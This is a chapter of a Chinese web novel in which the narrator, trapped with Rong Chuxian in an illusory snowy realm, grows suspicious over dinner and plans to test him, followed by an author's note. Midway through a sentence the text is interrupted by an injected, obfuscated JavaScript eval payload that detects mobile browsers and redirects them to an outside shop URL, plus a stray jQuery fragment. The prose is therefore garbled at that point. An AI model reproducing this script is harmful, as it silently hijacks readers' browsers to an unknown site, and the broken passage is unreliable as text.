“……滚。”
我简直要没有力气了,哑着声音骂了容初弦一句。
容初弦的目光掠过那殷红柔软、被仔细地舔舐过的唇瓣,有些不舍地挪开视线,老老实实去洗漱了。
当然,洗漱回来他倒是没上床榻去抱自己温暖的妻子入睡,而是又出了门。
外面的天已经彻底黯淡下来,风雪依旧,亘古不变般。
——屋内还有很多食物,但要么就是肉干、要么是不怎么新鲜被随意埋在雪地或盐罐当中的肉,容初弦不想给妻子吃那些,便动作很快地打了一只野兔回来,在外面就处理好了。准备烤只兔腿,再炖半锅的兔汤。
今天受过寒,最好喝些兔汤暖身子。
这一只野兔体型颇小,是不够他们平日一餐的食量的——舟多慈还好,容初弦吃得要多些。他再出去捕只别的野物的话其实也很快,但是容初弦等不及。
已经比平时要晚了。
先带这只野兔回去吧。
容初弦的厨艺实在是突飞猛进,那清理干净的兔腿被简单腌制过,架在火上烤出一层脆皮来,香嫩流油,内里饱含着鲜美的汁水。另一边的兔汤也切块处理好,炖上了,还加上了不知从哪找出来的葱姜蒜,浮去了一些腥味。
容初弦往兔腿上又撒上了些香料,哪怕在这种气候里,香味依旧飘到了我的鼻尖——
。
闻起来还不错。
我决定用完晚膳再和容初弦置气。
还在滋滋冒油的兔腿被递到了我手上。容初弦开口道:“小心烫。”
的确很烫。我小心翼翼用齿间撕开外面那一层脆皮,咬下一点韧劲而鲜美的兔肉,虽然小心,还是被烫到了舌尖,顿时“唔”了一声。容初弦立即放下了手中还在煮汤的调羹,凑过来要捏住我的脸颊,视线很专注地落在我的唇齿当中,“烫到了?”
容初弦说:“舌尖吐出来,看一下。”
我:“……”
我警惕地避开容初弦的手,端着兔腿退了有两步,冷声道:“才不要。谁知道你是不是要趁机亲我?”
容初弦:“……”
容初弦的脸上写满了若有所思:原来还可以这样?
我:“……”
忽然有些后悔说这种轻佻
荒谬的话了。
容初弦又开口道:“不会在吃饭的时候害你……坐过来。”
我坐到了容初弦的对面看着他的眼睛都仿佛充满挑衅。
容初弦的唇角好像微微弯了一下又回到灶前盛汤去了。
我总觉得这一幕有些奇怪。
兔肉汤也出锅了
他的语气虽然依旧没什么变化我却从中品出了一点非常微妙的得意意味——好像容初弦不是做了碗好汤而是领悟了一道好剑意的那种得意。
或许两者之间也有什么共通点吧。
我将信将疑地放下炙兔肉去喝了一勺汤。
的确鲜美也没什么腥味入口的微烫温热很让人觉得熨帖。
我瞥了容初弦一眼:“……不错。”
这一句夸奖让容长公子万年不变的面容上流露出一点很轻微的笑意来。
我兀自喝着清亮的兔汤或许是为了补足这一日在外劳累、也没吃几口肉干亏损的体力这一餐我用的比往日都多盛给我的一碗汤也喝到了底不经意咬到了一块姜片皱着眉嚼碎咽了下去——好辛辣。
我手抖着去含了口温水才压下了那股味道。
随后后知后觉地……觉得有些不对。
我平时不事庖厨所以对这方面迟钝了一些。但我记得先前熬鸡汤的时候特意在旁边“指教”过容初弦那么一回见到的也就是细盐、酱醋这些耐放的佐料姜片却是从未见过的。更不必提汤中好似还摆过了细葱——即便是冷天雪地里这样新鲜的葱也存放不了多久吧?
……不对劲。
哪里都奇怪。
“阿慈。”容初弦在旁边轻声问“再加些汤?”
“不用。”我有些走神顿了顿才回答“……吃撑了我消会食。”
随后起身在屋中随意地走动着脑海当中一些纷乱的念头却越来越模糊起来。
好奇怪。
只是一点小事我为什么要抓着不放?或许这葱姜就是曾经住在这附近的猎户带过来的天气这样冷似乎也很好保存下来。我不该将心力放在这些琐碎的小事上专心想着如何离开秘境才是
大事——
最后停驻在灶台面前,火焰温暖,不见丝毫烟气。
凡间所用的灶台,是这样的吗?
我迟怔地,忽然伸出手,缓慢地接近那火焰,指尖触碰到了焰尖——容初弦注意到我奇怪的动作,冲过来一下将我抱进了怀中,将我的手指都包裹进掌心当中,收了回来。
“阿慈!”
容初弦好像很少出现这样气恼的神色,他想到方才所见,心有余悸。却也舍不得真正去叱责阿慈,只好有些急切地道:“为什么去碰火?小心受伤。”
我像是才反应过来,很缓慢地看向容初弦,眨了眨眼。
“不碰了。”
诡异绕回来的木屋。
突然出现的药油。
新鲜地像是刚掐出来的小葱……但这些都不是最严重的问题所在。而是明明我觉得很奇怪、很值得怀疑的琐碎处,在不知不觉间却“接受”下来……才是最诡异的。
好像有什么在隐匿地、缓慢地改变着我的想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100396|127093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
法,让我接受这“正常”的一切。
不过在刚刚,一个足够坚固的锚点产生了,足够我不再怀疑自己,明确的疑问诞生了。
我闭了闭眼,回想刚才。
那火焰的确是滚烫的,接近时能感受到压迫而来翻滚的热意。但是当我真正触碰到的时候,或者说,这一幕被容初弦“看到”时——
火焰失去了热度。毫无杀伤力,像是某种美丽柔软的幻象。
哪怕只有一瞬间,也足够我清晰地确认了。
所以一切破局的关键在于……
我看向容初弦。
……容初弦他,清楚吗?
夜色掩来,除去灯烛之外,再不见其他光辉。
容初弦烧了许多热水让我擦身——腿上还有推开的药油,不那么好沐浴,只能这么简略地清洁一番,便又躺回了榻上。
其实这几日间不知不觉睡在一处也是常见的事,主要是我怕冷,每每睁眼就已躺在容初弦怀中了。初时还有些尴尬,后面便是和容初弦无言的默契了——我不主动提,容初弦也不准提滚在一起睡这件事。
早起后各自分开,容初弦虽然有点反应,但也不会在我眼前做污人耳目的行为,就这么维持着微妙的默契。
但今日
还是第一次,我还没睡着,就蹭到了容初弦身侧。
“……”
黑暗当中,容初弦没什么动作,只是心跳声格外的大。
“哥哥,”我含含糊糊地说,“明天我们先不急着离开雪原了,先休整一天吧,腿好疼。”
“嗯。”容初弦应了声,问,“哪里还疼?我再给你揉一下——”
说着,就要起身了。
“……别。”我急忙拉住容初弦,不欲计划胎死腹中。
“你先躺下来!”
我道。
吹枕边风应该是这样的吧——不在耳边叫什么枕边风?
我的力气不大,容初弦却很顺从我的动作,又弯身躺了下来。
不过容初弦好似也发觉了,我似有什么目的,他询问道,“怎么了?”
“……你记不记得我们的定情之花?”
我缓缓开口,在黑暗遮掩下,面不改色地开始胡说八道:“你第一次向我求爱时,送我的花,紫色的、开的很好看——似乎是叫紫鸳?”
“我很喜欢。你曾经说过,每月都要送我一株的。”
我幽幽叹息,好似很委屈一样:“……现在,没有了吗?”
作者有话要说
阿慈开始钓鱼执法了
*
鉴于评论区舆论,本人郑重承诺,本文无任何黑幕潜规则!小容绝对没有偷偷给我塞钱!(藏起一麻袋灵石)